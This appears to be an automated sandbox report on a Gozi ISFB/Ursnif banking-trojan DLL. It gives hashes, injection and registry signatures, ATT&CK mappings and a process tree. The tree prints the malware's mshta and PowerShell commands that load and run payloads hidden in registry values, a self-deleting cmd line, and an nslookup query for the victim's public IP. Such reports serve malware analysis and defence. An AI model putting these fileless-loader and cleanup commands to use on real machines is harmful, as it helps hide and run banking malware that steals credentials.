gozi_ifsb | d8885ce1f08167becda151811c6519af1bac2ad835acf60c7fa1130dad28fcd7

General

Target

pliant.dll
Size

270KB
MD5

019c152a88c2efc4c7b42458a48f7f5c
SHA1

1e6cc277d46f5fd5e7b915980deb8725c4a71726
SHA256

d8885ce1f08167becda151811c6519af1bac2ad835acf60c7fa1130dad28fcd7
SHA512

15457c7e7406aacf90bcdb281c3b00fc0f37923dfe660f23c4889a48091f877de6f7662bc13ee7c68cb6bb7bb39c1973d71ad4a8b50769893978c5163a64cfad

Score

10^/10

banker trojan gozi_ifsb ursnif spyware

Malware Config

Signatures

Suspicious use of SetThreadContext 5 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 2728 set thread context of 3000	2728	powershell.exe	Explorer.EXE
PID 3000 set thread context of 3548	3000	Explorer.EXE	RuntimeBroker.exe
PID 3000 set thread context of 2160	3000	Explorer.EXE	cmd.exe
PID 2160 set thread context of 956	2160	cmd.exe	PING.EXE
PID 3000 set thread context of 3892	3000	Explorer.EXE	WinMail.exe

Modifies Internet Explorer settings 1 TTPs 38 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30a67afe1540d601	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30818325"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000070f4e65ddf1514459006b313b316c02000000000020000000000106600000001000020000000325e1cdc1c64af347154a9f3d7e27590875a4467efa596416c2abdd981fcfc07000000000e80000000020000200000006b4b29b7f0cc4359c26582be3ac936d83c5bb42a5e9b4a504ae2f2d54b7cd8e420000000ed7f9dca613c239775f363e7815ba80a8b8295b0fc681b37689e4bdefffe6a9340000000f49052db8787bf65ef8839f1f1ec544992d68daa64ee2bc48aabc638157363ca545d41f7ab93090401ce271b2ac34030d29247a132612bd84f11b74e90b58a03	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5800000000000000de04000065020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000070f4e65ddf1514459006b313b316c020000000000200000000001066000000010000200000007531f9c2823658c0965db32f038148383ae92aa21cfc06f9ff7fce63416ce461000000000e800000000200002000000001083efba691673ff452823e63d38fdbed559e00d7de3ad665bfa99c19cf0f712000000079b8faa59bc7421aa328c455969296a86c655d09197f729634fce19ed93f3a324000000004b497fff35da9b22e62b3bbc6e672a7b014def06db1a045b90843dfda6f114051ad7736a7c52197b5bd92fd4e8906ff367b917337a39eb987d60a207fa7b6f8	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{27270076-AC09-11EA-BF1A-F2624357A4C7} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "4222429287"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d00f72fd1540d601	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000070f4e65ddf1514459006b313b316c02000000000020000000000106600000001000020000000d407138ba0666ebe1e4fa014154c580b57b1c4d054ccc03c3cdac1b38e0ee329000000000e8000000002000020000000199f4c2c0ebfbb9459f2d7ffabd4587850c8951962cca9b5bd0bbc64ddce1e7920000000f2fa3dbc98f8fc893e217cad659f893fed688c8deec1a1a483f610ac9fb80e6f400000002bbd720098b110da88985103c18ea15329eeadb169696d0573404435a5039cc72cbbb75fd85e46494285137b07045fc38940825bc3a08287e3684d54e689cffb	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b05fffef1540d601	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4236179148"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4222429287"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30818325"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30818325"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeShutdownPrivilege	3000	Explorer.EXE
Token: SeCreatePagefilePrivilege	3000	Explorer.EXE
Token: SeShutdownPrivilege	3000	Explorer.EXE
Token: SeCreatePagefilePrivilege	3000	Explorer.EXE
Token: SeShutdownPrivilege	3000	Explorer.EXE
Token: SeCreatePagefilePrivilege	3000	Explorer.EXE
Token: SeShutdownPrivilege	3000	Explorer.EXE
Token: SeCreatePagefilePrivilege	3000	Explorer.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

956 PING.EXE

pid	process
956	PING.EXE

Checks whether UAC is enabled 3 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 40 IoCs

Processes:

rundll32.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1732 wrote to memory of 1864	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 1864	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 1864	1732	rundll32.exe	rundll32.exe
PID 2224 wrote to memory of 3660	2224	iexplore.exe	IEXPLORE.EXE
PID 2224 wrote to memory of 3660	2224	iexplore.exe	IEXPLORE.EXE
PID 2224 wrote to memory of 3660	2224	iexplore.exe	IEXPLORE.EXE
PID 2224 wrote to memory of 4064	2224	iexplore.exe	IEXPLORE.EXE
PID 2224 wrote to memory of 4064	2224	iexplore.exe	IEXPLORE.EXE
PID 2224 wrote to memory of 4064	2224	iexplore.exe	IEXPLORE.EXE
PID 1076 wrote to memory of 2728	1076	mshta.exe	powershell.exe
PID 1076 wrote to memory of 2728	1076	mshta.exe	powershell.exe
PID 2728 wrote to memory of 60	2728	powershell.exe	csc.exe
PID 2728 wrote to memory of 60	2728	powershell.exe	csc.exe
PID 60 wrote to memory of 400	60	csc.exe	cvtres.exe
PID 60 wrote to memory of 400	60	csc.exe	cvtres.exe
PID 2728 wrote to memory of 2016	2728	powershell.exe	csc.exe
PID 2728 wrote to memory of 2016	2728	powershell.exe	csc.exe
PID 2016 wrote to memory of 3108	2016	csc.exe	cvtres.exe
PID 2016 wrote to memory of 3108	2016	csc.exe	cvtres.exe
PID 2728 wrote to memory of 3000	2728	powershell.exe	Explorer.EXE
PID 2728 wrote to memory of 3000	2728	powershell.exe	Explorer.EXE
PID 2728 wrote to memory of 3000	2728	powershell.exe	Explorer.EXE
PID 3000 wrote to memory of 2160	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 2160	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 2160	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 3548	3000	Explorer.EXE	RuntimeBroker.exe
PID 3000 wrote to memory of 3548	3000	Explorer.EXE	RuntimeBroker.exe
PID 3000 wrote to memory of 2160	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 3548	3000	Explorer.EXE	RuntimeBroker.exe
PID 3000 wrote to memory of 2160	3000	Explorer.EXE	cmd.exe
PID 2160 wrote to memory of 956	2160	cmd.exe	PING.EXE
PID 3000 wrote to memory of 3724	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 3724	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 772	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 772	3000	Explorer.EXE	cmd.exe
PID 3000 wrote to memory of 3892	3000	Explorer.EXE	WinMail.exe
PID 3000 wrote to memory of 3892	3000	Explorer.EXE	WinMail.exe
PID 3000 wrote to memory of 3892	3000	Explorer.EXE	WinMail.exe
PID 3000 wrote to memory of 3892	3000	Explorer.EXE	WinMail.exe
PID 3000 wrote to memory of 3892	3000	Explorer.EXE	WinMail.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
2224	iexplore.exe
2224	iexplore.exe
3660	IEXPLORE.EXE
3660	IEXPLORE.EXE
2224	iexplore.exe
2224	iexplore.exe
4064	IEXPLORE.EXE
4064	IEXPLORE.EXE
2224	iexplore.exe
2224	iexplore.exe
3660	IEXPLORE.EXE
3660	IEXPLORE.EXE
2224	iexplore.exe
2224	iexplore.exe
3660	IEXPLORE.EXE
3660	IEXPLORE.EXE

Suspicious behavior: EnumeratesProcesses 1129 IoCs

Processes:

powershell.exeExplorer.EXE

pid	process
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE
3000	Explorer.EXE

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

2728 powershell.exe
3000 Explorer.EXE
3000 Explorer.EXE
2160 cmd.exe
3000 Explorer.EXE
Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

iexplore.exe

pid process

2224 iexplore.exe
2224 iexplore.exe
2224 iexplore.exe
2224 iexplore.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

956 PING.EXE
Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
956	PING.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3000
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\pliant.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\pliant.dll,#1
    3⤵
    PID:1864
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82\\\AxInrvps'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82").AppCbcd))
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:2728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hkodbdfp\hkodbdfp.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:60
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3113.tmp" "c:\Users\Admin\AppData\Local\Temp\hkodbdfp\CSCB0D0AD0D305D4DE6974DBE258215DBD8.TMP"
        5⤵
        
        PID:400
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eozjka5k\eozjka5k.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2016
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3327.tmp" "c:\Users\Admin\AppData\Local\Temp\eozjka5k\CSC5829F4FC40745378D33A181CEA95CF9.TMP"
        5⤵
        
        PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\pliant.dll"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  - Suspicious behavior: MapViewOfSection
  PID:2160
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:956
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\700.bi1"
  2⤵
  PID:3724
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:3444
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\700.bi1"
  2⤵
  PID:772
- C:\Program Files\Windows Mail\WinMail.exe
  "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
  2⤵
  PID:3892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3548

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:2224
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2224 CREDAT:82945 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  PID:3660
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2224 CREDAT:82950 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  PID:4064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_D9817BD5013875AD517DA73475345203

Download Submit
C:\Users\Admin\AppData\Local\Temp\700.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\700.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES3113.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES3327.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\eozjka5k\eozjka5k.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\hkodbdfp\hkodbdfp.dll

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\eozjka5k\CSC5829F4FC40745378D33A181CEA95CF9.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\eozjka5k\eozjka5k.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\eozjka5k\eozjka5k.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hkodbdfp\CSCB0D0AD0D305D4DE6974DBE258215DBD8.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hkodbdfp\hkodbdfp.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hkodbdfp\hkodbdfp.cmdline

Download Submit
memory/956-18-0x000001FDF16F0000-0x000001FDF16F1000-memory.dmp

Filesize
4KB

Download
memory/2160-15-0x0000010CAC980000-0x0000010CAC981000-memory.dmp

Filesize
4KB

Download
memory/2160-19-0x0000010CAEC20000-0x0000010CAECD1000-memory.dmp

Filesize
708KB

Download
memory/2728-13-0x0000016335BC0000-0x0000016335C71000-memory.dmp

Filesize
708KB

Download
memory/3000-16-0x0000000006570000-0x0000000006621000-memory.dmp

Filesize
708KB

Download
memory/3000-17-0x0000000006B30000-0x0000000006BE1000-memory.dmp

Filesize
708KB

Download
memory/3000-12-0x00000000010C0000-0x00000000010C1000-memory.dmp

Filesize
4KB

Download
memory/3000-23-0x0000000006570000-0x0000000006621000-memory.dmp

Filesize
708KB

Download
memory/3548-14-0x000001D204830000-0x000001D204831000-memory.dmp

Filesize
4KB

Download
memory/3892-22-0x000002099BE20000-0x000002099BE21000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads